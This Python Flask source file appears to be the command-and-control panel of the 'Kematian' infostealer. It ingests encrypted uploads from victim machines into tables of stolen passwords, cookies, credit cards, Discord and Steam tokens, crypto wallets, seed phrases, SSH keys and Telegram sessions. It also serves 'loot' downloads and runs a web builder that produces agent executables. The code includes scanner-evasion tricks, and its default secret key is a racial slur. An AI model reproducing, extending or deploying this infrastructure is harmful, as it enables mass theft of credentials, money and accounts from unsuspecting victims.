761 lines
28 KiB
Python
761 lines
28 KiB
Python
"""
|
|
Kematian Collector Panel
|
|
========================
|
|
Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone
|
|
agent. Each collected data category is stored in its own SQLite table and
|
|
served on its own page with a dedicated icon.
|
|
|
|
Project: https://t.me/electronic_sex
|
|
|
|
Run:
|
|
pip install -r requirements.txt
|
|
python app.py
|
|
|
|
First-run: head to /setup to create the admin account, then / to log in.
|
|
"""
|
|
import base64
|
|
import json
|
|
import os
|
|
import time
|
|
from functools import wraps
|
|
|
|
from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response
|
|
from werkzeug.security import generate_password_hash, check_password_hash
|
|
|
|
import crypto
|
|
import db
|
|
import blobs
|
|
import builder
|
|
|
|
app = Flask(__name__)
|
|
app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers")
|
|
app.config["JSON_SORT_KEYS"] = False
|
|
|
|
# ------------------------------------------------------------------ privacy / hardening
|
|
# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone,
|
|
# but still gated by credentials + rate limit.
|
|
ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()}
|
|
# Short response tokens to confuse generic scanners (shown on probe endpoints).
|
|
DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx")
|
|
# Requests per time window before an IP gets throttled.
|
|
RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60"))
|
|
RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10"))
|
|
RATE_HITS = {} # ip -> [timestamps]
|
|
|
|
|
|
def client_ip():
|
|
return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
|
|
|
|
|
|
def rate_limited():
|
|
"""Return True if this IP has crossed the throttle limit for the window."""
|
|
ip = client_ip()
|
|
now = time.time()
|
|
hits = RATE_HITS.setdefault(ip, [])
|
|
hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW]
|
|
RATE_HITS[ip] = hits
|
|
return len(hits) >= RATE_LIMIT_MAX
|
|
|
|
|
|
def rate_hit():
|
|
RATE_HITS.setdefault(client_ip(), []).append(time.time())
|
|
|
|
|
|
def ip_allowed():
|
|
if not ALLOWED_IPS:
|
|
return True
|
|
return client_ip() in ALLOWED_IPS
|
|
|
|
|
|
# One-shot setup lock lives on disk (next to the DB) so it survives resets.
|
|
SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done")
|
|
|
|
|
|
def setup_locked():
|
|
return os.path.exists(SETUP_LOCK_FILE)
|
|
|
|
|
|
def mark_setup_done():
|
|
try:
|
|
with open(SETUP_LOCK_FILE, "w") as f:
|
|
f.write(str(int(time.time())))
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
@app.after_request
|
|
def security_headers(resp):
|
|
resp.headers["X-Content-Type-Options"] = "nosniff"
|
|
resp.headers["X-Frame-Options"] = "DENY"
|
|
resp.headers["Referrer-Policy"] = "no-referrer"
|
|
resp.headers["X-XSS-Protection"] = "0"
|
|
resp.headers["Cache-Control"] = "no-store"
|
|
resp.headers["Server"] = DECOY_NAME
|
|
return resp
|
|
|
|
|
|
# Hide a couple of default Flask facts from cursory scan tooling.
|
|
app.config["SERVER_NAME"] = None
|
|
|
|
|
|
def fmt_dt(ts):
|
|
if not ts:
|
|
return "—"
|
|
return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts))
|
|
|
|
|
|
def fmt_size(n):
|
|
try:
|
|
n = int(n)
|
|
except (TypeError, ValueError):
|
|
return "—"
|
|
for unit in ("B", "KB", "MB", "GB"):
|
|
if n < 1024 or unit == "GB":
|
|
return f"{n:.1f} {unit}"
|
|
n /= 1024
|
|
|
|
|
|
app.jinja_env.filters["datetime"] = fmt_dt
|
|
app.jinja_env.filters["filesize"] = fmt_size
|
|
|
|
# Ingest API key. Override via env: PANEL_INGEST_KEY
|
|
INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME")
|
|
# Public-facing ingest URL of this panel, used to pre-fill the builder form.
|
|
_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/")
|
|
PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest"
|
|
|
|
|
|
# Map of category -> (label, table, icon path, page title)
|
|
CATEGORIES = {
|
|
"passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"),
|
|
"cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"),
|
|
"autofill": ("Autofill", "autofill", "autofill", "Autofill Data"),
|
|
"history": ("History", "history", "history", "Browsing History"),
|
|
"bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"),
|
|
"credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"),
|
|
"discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"),
|
|
"files": ("Files", "files", "files", "Interesting Files"),
|
|
"extensions": ("Extensions", "extensions", "extension","Browser Extensions"),
|
|
"wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"),
|
|
"telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"),
|
|
"keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"),
|
|
"app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"),
|
|
"seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"),
|
|
"gaming": ("Gaming", "gaming", "game", "Gaming Accounts"),
|
|
"steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"),
|
|
"vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"),
|
|
}
|
|
|
|
|
|
def now_ts():
|
|
return int(time.time())
|
|
|
|
|
|
# ---------------------------------------------------------------- auth
|
|
def login_required(f):
|
|
@wraps(f)
|
|
def wrapper(*args, **kwargs):
|
|
if not session.get("admin"):
|
|
return redirect(url_for("login", next=request.path))
|
|
return f(*args, **kwargs)
|
|
return wrapper
|
|
|
|
|
|
@app.context_processor
|
|
def inject_globals():
|
|
import os as _os
|
|
return {
|
|
"categories": CATEGORIES,
|
|
"cat": CATEGORIES,
|
|
"os": _os,
|
|
}
|
|
|
|
|
|
@app.route("/setup", methods=["GET", "POST"])
|
|
def setup():
|
|
if not ip_allowed():
|
|
return abort(404)
|
|
db.init_db()
|
|
# One-shot lock: once setup has completed, /setup is permanently closed.
|
|
# Uses a persistent marker file (independent of the DB), so even if the admin
|
|
# table is cleared or the DB is reset, setup cannot be re-run.
|
|
if setup_locked():
|
|
flash("Setup is already complete. Log in instead.", "info")
|
|
return redirect(url_for("login"))
|
|
conn = db.get_conn()
|
|
existing = conn.execute("SELECT id FROM admin").fetchone()
|
|
conn.close()
|
|
if existing:
|
|
mark_setup_done()
|
|
flash("Admin already exists. Log in instead.", "info")
|
|
return redirect(url_for("login"))
|
|
if rate_limited():
|
|
return abort(429)
|
|
if request.method == "POST":
|
|
rate_hit()
|
|
user = (request.form.get("username") or "").strip()
|
|
pwd = request.form.get("password") or ""
|
|
if len(user) < 3:
|
|
flash("Username must be at least 3 characters.", "error")
|
|
elif len(pwd) < 6:
|
|
flash("Password must be at least 6 characters.", "error")
|
|
else:
|
|
conn = db.get_conn()
|
|
try:
|
|
conn.execute(
|
|
"INSERT INTO admin (username, password_hash) VALUES (?, ?)",
|
|
(user, generate_password_hash(pwd)),
|
|
)
|
|
conn.commit()
|
|
finally:
|
|
conn.close()
|
|
mark_setup_done()
|
|
flash("Admin created. Log in now.", "success")
|
|
return redirect(url_for("login"))
|
|
return render_template("setup.html")
|
|
|
|
|
|
@app.route("/login", methods=["GET", "POST"])
|
|
def login():
|
|
if not ip_allowed():
|
|
return abort(404)
|
|
db.init_db()
|
|
if request.method == "POST":
|
|
if rate_limited():
|
|
return abort(429)
|
|
rate_hit()
|
|
user = (request.form.get("username") or "").strip()
|
|
pwd = request.form.get("password") or ""
|
|
conn = db.get_conn()
|
|
row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone()
|
|
conn.close()
|
|
if row and check_password_hash(row["password_hash"], pwd):
|
|
session["admin"] = row["username"]
|
|
RATE_HITS.pop(client_ip(), None)
|
|
flash("Welcome back.", "success")
|
|
nxt = request.args.get("next") or url_for("dashboard")
|
|
return redirect(nxt)
|
|
flash("Invalid credentials.", "error")
|
|
return render_template("login.html")
|
|
|
|
|
|
@app.route("/logout")
|
|
def logout():
|
|
session.pop("admin", None)
|
|
flash("Logged out.", "info")
|
|
return redirect(url_for("login"))
|
|
|
|
|
|
# ---------------------------------------------------------------- dashboard
|
|
@app.route("/")
|
|
def index():
|
|
return redirect(url_for("login") if not session.get("admin") else url_for("dashboard"))
|
|
|
|
|
|
@app.route("/dashboard")
|
|
@login_required
|
|
def dashboard():
|
|
conn = db.get_conn()
|
|
client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"]
|
|
total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"]
|
|
stats = {}
|
|
for key, (label, table, icon, _title) in CATEGORIES.items():
|
|
rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"]
|
|
stats[key] = {"label": label, "count": rows, "icon": icon}
|
|
recent = conn.execute(
|
|
"SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries "
|
|
"FROM clients ORDER BY last_seen DESC LIMIT 8"
|
|
).fetchall()
|
|
conn.close()
|
|
loot_count = len(blobs.blobs_for())
|
|
|
|
# --- chart data: entries per category + activity over the last 24h ---
|
|
chart_labels = [stats[k]["label"] for k in CATEGORIES]
|
|
chart_values = [stats[k]["count"] for k in CATEGORIES]
|
|
chart_icons = [stats[k]["icon"] for k in CATEGORIES]
|
|
|
|
return render_template(
|
|
"dashboard.html",
|
|
client_count=client_count,
|
|
total=total,
|
|
loot_count=loot_count,
|
|
stats=stats,
|
|
recent=recent,
|
|
chart_labels=chart_labels,
|
|
chart_values=chart_values,
|
|
chart_icons=chart_icons,
|
|
)
|
|
|
|
|
|
# ---------------------------------------------------------------- clients
|
|
@app.route("/clients")
|
|
@login_required
|
|
def clients():
|
|
conn = db.get_conn()
|
|
rows = conn.execute(
|
|
"SELECT * FROM clients ORDER BY last_seen DESC"
|
|
).fetchall()
|
|
conn.close()
|
|
return render_template("clients.html", clients=rows)
|
|
|
|
|
|
@app.route("/client/<client_id>")
|
|
@login_required
|
|
def client_detail(client_id):
|
|
conn = db.get_conn()
|
|
cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone()
|
|
if not cli:
|
|
conn.close()
|
|
abort(404)
|
|
per_cat = {}
|
|
for key, (label, table, icon, _title) in CATEGORIES.items():
|
|
c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"]
|
|
per_cat[key] = {"label": label, "count": c, "icon": icon}
|
|
conn.close()
|
|
return render_template("client_detail.html", cli=cli, per_cat=per_cat)
|
|
|
|
|
|
# ---------------------------------------------------------------- category pages
|
|
@app.route("/cat/<key>")
|
|
@login_required
|
|
def category(key):
|
|
if key not in CATEGORIES:
|
|
abort(404)
|
|
label, table, icon, title = CATEGORIES[key]
|
|
client_filter = request.args.get("client")
|
|
conn = db.get_conn()
|
|
if client_filter:
|
|
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall()
|
|
else:
|
|
rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall()
|
|
conn.close()
|
|
return render_template(
|
|
"categories/view.html",
|
|
key=key,
|
|
label=label,
|
|
icon=icon,
|
|
title=title,
|
|
table=table,
|
|
rows=rows,
|
|
client_filter=client_filter,
|
|
)
|
|
|
|
|
|
@app.route("/api/raw/<key>")
|
|
@login_required
|
|
def api_raw(key):
|
|
if key not in CATEGORIES:
|
|
abort(404)
|
|
_label, table, _icon, _title = CATEGORIES[key]
|
|
client_filter = request.args.get("client")
|
|
conn = db.get_conn()
|
|
if client_filter:
|
|
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
|
|
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall()
|
|
else:
|
|
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
|
|
rows = conn.execute(f"SELECT * FROM {table}").fetchall()
|
|
conn.close()
|
|
payload = [dict(r) for r in rows]
|
|
return jsonify({"columns": cols, "rows": payload})
|
|
|
|
|
|
# ---------------------------------------------------------------- payloads / backups
|
|
@app.route("/client/<client_id>/loot")
|
|
@login_required
|
|
def client_loot(client_id):
|
|
"""List the hosted payload files for a client."""
|
|
blobs_for = blobs.blobs_for(client_id)
|
|
return render_template("loot.html", client_id=client_id, blobs=blobs_for)
|
|
|
|
|
|
@app.route("/client/<client_id>/loot/<int:blob_id>/download")
|
|
@login_required
|
|
def loot_download(client_id, blob_id):
|
|
"""Download one hosted payload zip."""
|
|
path = blobs.blob_path(client_id, blob_id)
|
|
if not path:
|
|
abort(404)
|
|
# send_file needs the filename to preserve the download name
|
|
from flask import send_file
|
|
return send_file(path, as_attachment=True, download_name=os.path.basename(path))
|
|
|
|
|
|
@app.route("/client/<client_id>/loot/zip")
|
|
@login_required
|
|
def loot_zip(client_id):
|
|
"""Bundle every hosted payload for a client into one download zip (backup)."""
|
|
import io, zipfile
|
|
items = blobs.blobs_for(client_id)
|
|
buf = io.BytesIO()
|
|
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
|
|
for b in items:
|
|
path = blobs.blob_path(client_id, b["id"])
|
|
if path:
|
|
z.write(path, arcname=f"{client_id}/{b['filename']}")
|
|
buf.seek(0)
|
|
from flask import send_file
|
|
return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip")
|
|
|
|
|
|
@app.route("/loot")
|
|
@login_required
|
|
def all_loot():
|
|
"""Every payload file across all clients."""
|
|
items = blobs.blobs_for()
|
|
return render_template("loot_all.html", blobs=items)
|
|
|
|
|
|
@app.route("/fileshare")
|
|
@login_required
|
|
def fileshare():
|
|
"""File share overview: every hosted file + clients that have files."""
|
|
items = blobs.blobs_for()
|
|
by_client = {}
|
|
uploaded = 0
|
|
for b in items:
|
|
by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1
|
|
if b["client_id"] == "upload":
|
|
uploaded += 1
|
|
return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded)
|
|
|
|
|
|
@app.route("/fileshare/upload", methods=["POST"])
|
|
@login_required
|
|
def fileshare_upload():
|
|
"""Upload a file (admin) into the built-in file share."""
|
|
f = request.files.get("file")
|
|
if not f or not f.filename:
|
|
flash("Choose a file to upload.", "error")
|
|
return redirect(url_for("fileshare"))
|
|
category = (request.form.get("category") or "upload").strip() or "upload"
|
|
try:
|
|
data = f.read()
|
|
blob_id = blobs.upload_public(f.filename, data, category=category)
|
|
flash(f"Uploaded {f.filename}", "success")
|
|
return redirect(url_for("fileshare"))
|
|
except Exception as e:
|
|
flash(f"Upload failed: {e}", "error")
|
|
return redirect(url_for("fileshare"))
|
|
|
|
|
|
# ---------------------------------------------------------------- ingest API
|
|
def authorized_auth():
|
|
"""Validate the ingress Bearer token. Compares against the configured key."""
|
|
auth = request.headers.get("Authorization", "")
|
|
return auth == f"Bearer {INGEST_KEY}"
|
|
|
|
|
|
@app.route("/api/ingest", methods=["POST"])
|
|
def ingest():
|
|
# Require both a valid ingress key AND (if set) an allowed ingress IP, so a
|
|
# random person curling the domain can't even attempt to feed garbage.
|
|
if not authorized_auth():
|
|
abort(401)
|
|
if not ip_allowed():
|
|
abort(404)
|
|
data = request.get_json(silent=True)
|
|
|
|
# E2EE envelope: {"enc": "<base64 ciphertext>"} — decrypt to recover the
|
|
# CollectionResult, then land each category in its own table.
|
|
if isinstance(data, dict) and data.get("enc"):
|
|
try:
|
|
plain = crypto.decrypt_wire(data["enc"])
|
|
except Exception as e:
|
|
return jsonify({"error": "decryption failed", "detail": str(e)}), 400
|
|
try:
|
|
data = json.loads(plain)
|
|
except Exception:
|
|
return jsonify({"error": "decrypted payload is not valid JSON"}), 400
|
|
|
|
if not isinstance(data, dict):
|
|
return jsonify({"error": "body must be a JSON object"}), 400
|
|
|
|
client_id = data.get("clientId") or data.get("client_id")
|
|
if not client_id:
|
|
client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii")
|
|
while len(client_id) < 12:
|
|
client_id += "x"
|
|
client_id = client_id[:12]
|
|
|
|
host = data.get("host") or {}
|
|
ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
|
|
ts = now_ts()
|
|
total_new = 0
|
|
payload_saved = 0
|
|
|
|
conn = db.get_conn()
|
|
try:
|
|
conn.execute("BEGIN")
|
|
existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone()
|
|
if existing:
|
|
conn.execute(
|
|
"UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) "
|
|
"WHERE client_id=?",
|
|
(ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""),
|
|
host.get("os", ""), host.get("arch", ""), client_id),
|
|
)
|
|
else:
|
|
conn.execute(
|
|
"INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) "
|
|
"VALUES (?,?,?,?,?,?,?,?)",
|
|
(client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""),
|
|
ip, request.headers.get("User-Agent", ""), ts, ts),
|
|
)
|
|
|
|
# helper: bulk-insert a category with clear-then-replace strategy
|
|
def insert_cat(cat_keys, target_table, mapper):
|
|
nonlocal total_new
|
|
items = data.get(cat_keys, [])
|
|
if items is None:
|
|
items = []
|
|
for it in items:
|
|
if not isinstance(it, dict):
|
|
continue
|
|
cols, vals = mapper(it)
|
|
q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})"
|
|
conn.execute(q, [client_id] + vals)
|
|
total_new += 1
|
|
return len(items)
|
|
|
|
insert_cat("passwords", "passwords", lambda d: (
|
|
["url", "username", "password", "browser", "profile"],
|
|
[d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("cookies", "cookies", lambda d: (
|
|
["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"],
|
|
[d.get("host"), d.get("name"), d.get("value"), d.get("path"),
|
|
int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))),
|
|
d.get("expiresUtc"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("autofill", "autofill", lambda d: (
|
|
["name", "value", "date_created", "browser", "profile"],
|
|
[d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("history", "history", lambda d: (
|
|
["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"],
|
|
[d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"),
|
|
d.get("lastVisitTime"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("bookmarks", "bookmarks", lambda d: (
|
|
["name", "url", "type", "browser", "profile"],
|
|
[d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("creditCards", "credit_cards", lambda d: (
|
|
["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"],
|
|
[d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"),
|
|
d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")],
|
|
))
|
|
|
|
insert_cat("discordTokens", "discord_tokens", lambda d: (
|
|
["token", "source"],
|
|
[d.get("token"), d.get("source")],
|
|
))
|
|
|
|
insert_cat("files", "files", lambda d: (
|
|
["path", "name", "ext", "size", "modified", "dir", "tags"],
|
|
[d.get("path"), d.get("name"), d.get("ext"), d.get("size"),
|
|
d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")],
|
|
))
|
|
|
|
insert_cat("extensions", "extensions", lambda d: (
|
|
["ext_id", "name", "version", "browser", "profile", "path", "category"],
|
|
[d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")],
|
|
))
|
|
|
|
insert_cat("wallets", "wallets", lambda d: (
|
|
["name", "type", "path", "files", "size", "addresses", "vault_data"],
|
|
[d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"),
|
|
";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")],
|
|
))
|
|
|
|
insert_cat("telegram", "telegram", lambda d: (
|
|
["account", "path", "files", "size"],
|
|
[d.get("account"), d.get("path"), d.get("files"), d.get("size")],
|
|
))
|
|
|
|
insert_cat("keys", "keys", lambda d: (
|
|
["type", "name", "path", "size", "content"],
|
|
[d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")],
|
|
))
|
|
|
|
insert_cat("appCredentials", "app_credentials", lambda d: (
|
|
["application", "host", "port", "username", "password", "protocol", "extra"],
|
|
[d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")],
|
|
))
|
|
|
|
insert_cat("seeds", "seeds", lambda d: (
|
|
["source", "path", "phrase", "words"],
|
|
[d.get("source"), d.get("path"), d.get("phrase"), d.get("words")],
|
|
))
|
|
|
|
# nested objects (gaming/vpns) — store the whole sub-object as one row
|
|
def insert_single(table, vpn_or_key, payload):
|
|
nonlocal total_new
|
|
cols = ["client_id", vpn_or_key, "payload"]
|
|
conn.execute(
|
|
f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)",
|
|
[client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))],
|
|
)
|
|
total_new += 1
|
|
|
|
gaming = data.get("gaming")
|
|
if isinstance(gaming, dict) and gaming:
|
|
insert_single("gaming", "platform", gaming)
|
|
vpns = data.get("vpns")
|
|
if isinstance(vpns, dict) and vpns:
|
|
insert_single("vpns", "vpn", vpns)
|
|
|
|
# steam login/refresh tokens (list of {steamId, token}) -> own table
|
|
steam_tokens = data.get("steamTokens")
|
|
if isinstance(steam_tokens, list):
|
|
for st in steam_tokens:
|
|
if not isinstance(st, dict):
|
|
continue
|
|
conn.execute(
|
|
"INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)",
|
|
(client_id, st.get("steamId"), st.get("token")),
|
|
)
|
|
total_new += 1
|
|
|
|
# binary payloads (wallet/telegram/steam zips) -> persisted under loot/
|
|
payloads = data.get("payloads")
|
|
if isinstance(payloads, list):
|
|
for blob_doc in payloads:
|
|
if not isinstance(blob_doc, dict):
|
|
continue
|
|
try:
|
|
blobs.save_payload(client_id, blob_doc, conn=conn)
|
|
payload_saved += 1
|
|
except Exception:
|
|
pass
|
|
|
|
conn.execute(
|
|
"UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?",
|
|
(total_new, client_id),
|
|
)
|
|
conn.commit()
|
|
except Exception as e:
|
|
conn.rollback()
|
|
conn.close()
|
|
return jsonify({"error": str(e)}), 500
|
|
conn.close()
|
|
|
|
return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200
|
|
|
|
|
|
# ---------------------------------------------------------------- misc
|
|
@app.route("/health")
|
|
def health():
|
|
# Only responds when the caller proves it's an agent (correct ingress key),
|
|
# so random scanners / curls get a nondescript 404 instead of a liveness beacon.
|
|
if not authorized_auth() or not ip_allowed():
|
|
return abort(404)
|
|
return jsonify({"ok": True, "ts": now_ts()})
|
|
|
|
|
|
@app.route("/e2ee/pub")
|
|
def e2ee_pub():
|
|
"""Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt
|
|
toward the panel. Locked behind the same ingress key so it isn't public."""
|
|
if not authorized_auth() or not ip_allowed():
|
|
return abort(404)
|
|
return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()})
|
|
|
|
|
|
@app.route("/search")
|
|
@login_required
|
|
def search():
|
|
q = (request.args.get("q") or "").strip()
|
|
results = []
|
|
conn = db.get_conn()
|
|
if q:
|
|
like = f"%{q}%"
|
|
pwd = conn.execute(
|
|
"SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50",
|
|
(like, like),
|
|
).fetchall()
|
|
for p in pwd:
|
|
results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]})
|
|
tok = conn.execute(
|
|
"SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,)
|
|
).fetchall()
|
|
for t in tok:
|
|
results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]})
|
|
host = conn.execute(
|
|
"SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50",
|
|
(like, like),
|
|
).fetchall()
|
|
for c in host:
|
|
results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]})
|
|
conn.close()
|
|
return render_template("search.html", q=q, results=results)
|
|
|
|
|
|
# ---------------------------------------------------------------- web builder
|
|
@app.route("/build")
|
|
@login_required
|
|
def build_page():
|
|
return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs())
|
|
|
|
|
|
@app.route("/build", methods=["POST"])
|
|
@login_required
|
|
def build_start():
|
|
endpoint = (request.form.get("endpoint") or "").strip()
|
|
auth = (request.form.get("auth") or "").strip()
|
|
bot_token = (request.form.get("bot_token") or "").strip()
|
|
chat_id = (request.form.get("chat_id") or "").strip()
|
|
build_name = (request.form.get("build_name") or "kematian").strip()
|
|
|
|
if not endpoint:
|
|
endpoint = PANEL_PUBLIC_URL
|
|
# normalize: if user entered just host, append /api/ingest
|
|
if not endpoint.endswith("/api/ingest"):
|
|
endpoint = endpoint.rstrip("/") + "/api/ingest"
|
|
if not auth:
|
|
return render_template("builder.html", error="Panel auth key is required.",
|
|
default_endpoint=endpoint, builds=builder.all_jobs()), 400
|
|
|
|
build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name)
|
|
return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs())
|
|
|
|
|
|
@app.route("/build/status/<int:build_id>")
|
|
@login_required
|
|
def build_status(build_id):
|
|
job = builder.job_status(build_id)
|
|
if not job:
|
|
return jsonify({"error": "no such build"}), 404
|
|
exe_name = os.path.basename(job["exe"]) if job["exe"] else None
|
|
return jsonify({
|
|
"status": job["status"],
|
|
"error": job["error"],
|
|
"exe": exe_name,
|
|
"download": f"/build/download/{exe_name}" if exe_name else None,
|
|
})
|
|
|
|
|
|
@app.route("/build/download/<path:filename>")
|
|
@login_required
|
|
def build_download(filename):
|
|
from flask import send_file
|
|
safe = os.path.basename(filename)
|
|
path = os.path.join(builder.BUILDS_DIR, safe)
|
|
if not os.path.exists(path):
|
|
abort(404)
|
|
return send_file(path, as_attachment=True, download_name=safe)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
db.init_db()
|
|
os.makedirs(builder.BUILDS_DIR, exist_ok=True)
|
|
port = int(os.environ.get("PANEL_PORT", 5000))
|
|
app.run(host="0.0.0.0", port=port, debug=False)
|
|
|